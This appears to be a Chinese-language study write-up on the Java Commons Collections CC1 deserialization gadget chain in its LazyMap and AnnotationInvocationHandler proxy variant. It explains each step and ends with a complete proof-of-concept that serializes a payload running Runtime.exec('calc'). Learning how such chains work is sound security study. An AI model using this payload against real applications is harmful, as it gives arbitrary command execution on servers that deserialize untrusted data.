java反序列化cc_link_one2

CC-LINK-one_second

前言

这条链子其实是上一条链子的另一种走法，在调用危险函数哪里是没有什么变化的

整体链子

还是尾部没有变化嘛还是InvokerTransformer的transform方法可以执行任意函数，然后我们cc链1用的是TransformedMap类去进行调用，当时我们在查不同名函数调用transform方法的时候找到了一个map的包里面找到了三个链六我们就用另一个不同名函数调用transform方法来尝试

我来组成身体

这里看到一个叫LazyMap我们作为一个调用函数进去看看

构造函数

protected LazyMap(Map map, Factory factory) {
        super(map);
        if (factory == null) {
            throw new IllegalArgumentException("Factory must not be null");
        }
        this.factory = FactoryTransformer.getInstance(factory);
    }

然后里面的get方法调用了transform方法调用的参数是factory,然后这个factory是一个构造函数里面传入的函数，这是个可控变量代表着我们要在构造函数里面传入factory=TransformedMap这个函数这样它就会调用它的transform方法

这里的的factory就是一个Transformer这样调用就很简单了，直接调用ChainedTransformer的transform方法就可以了

在lazymap中调用的get方法的判断的意思是我们传入的Map的Key必须要为空不然不会进入判断里面，看到这里我们写一下调用

这里调用方式是 lazyMap---ChainedTransformer---ChainedTransformer

然后调用呢因为lazyMap是一个保护的所以我们肯定有一个自己调用的方法，然后我们理由反射调用

调用过程就是我们用decorate去调用构造方法

ublic static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
        lazyGetMethod.setAccessible(true);
        lazyGetMethod.invoke(decorateMap, runtime);
    }

这样就完成了链子的身体，接下来就是去找跟readObeject的交互接下里就是去找get函数如果在谁的readObjet函数调用get函数我们又可以控制这条链子就完成了，我也不知道是怎么找到的get方法太常用了很多不好翻到直接看到了结果，跟我们cc链一模一样的就是AnnotationInvocationHandler这个类然后在它的invoke方法里面

public Object invoke(Object proxy, Method method, Object[] args) {
        String member = method.getName();
        Class<?>[] paramTypes = method.getParameterTypes();

        // Handle Object and Annotation methods
        if (member.equals("equals") && paramTypes.length == 1 &&
            paramTypes[0] == Object.class)
            return equalsImpl(args[0]);
        if (paramTypes.length != 0)
            throw new AssertionError("Too many parameters for an annotation method");

        switch(member) {
        case "toString":
            return toStringImpl();
        case "hashCode":
            return hashCodeImpl();
        case "annotationType":
            return type;
        }

        // Handle annotation member accessors
        Object result = memberValues.get(member);

        if (result == null)
            throw new IncompleteAnnotationException(type, member);

        if (result instanceof ExceptionProxy)
            throw ((ExceptionProxy) result).generateException();

        if (result.getClass().isArray() && Array.getLength(result) != 0)
            result = cloneArray(result);

        return result;
    }

invoke呢在java里面代表的是那个动态代理那个处理的方法，然后我们只需要调用它任意一个方法invoke都会被调用，然后我们要执行的get方法在两个if后面我们需要去满足那两个if语句让他顺序执行到下面

第一个if如果执行的是equls方法就返回一个equalsImpl方法

第二个if如果执行的方法的参数不为空就返回报错

第三switch case也是过滤不能调用里面的三种方法。

总结下来我们要执行一个无参方法且不能是equls方法，现在思路如下我们需要用这个handler类去形成一个动态代理，然后用其他的类去用这个静态代理，然后执行一个方法导致方法被执行人

然后这个链子很神奇的也是在同一个类的readObject这个类里面有这这样一个方法

然后就等于说我们要用这个类做一个动态代理然后去把这个类作为这个动态代理的的源对象然后这个代理呢我们找到了动态代理器的AnnotationInvocationHandler的mamberValues.entry()方法这是个无参构造方法然后有符合原理，所以最后poc如下，当然这个链子其实也依赖于jdk的版本，但是到后面jdk对这个版本进行了修复这两条链子都能用了

public class cc_link_6 {
    public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, IOException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        HashMap<Object, Object> map = new HashMap<>();
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map laztMap= LazyMap.decorate(map, chainedTransformer);
        //生成一个动态代理
        Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
        declaredConstructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Override.class, laztMap);
        //去安装代理
        Map MapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, handler);
        Object o = declaredConstructor.newInstance(Override.class, MapProxy);
        serialize(o);
        unseriallize("src.bin");

    }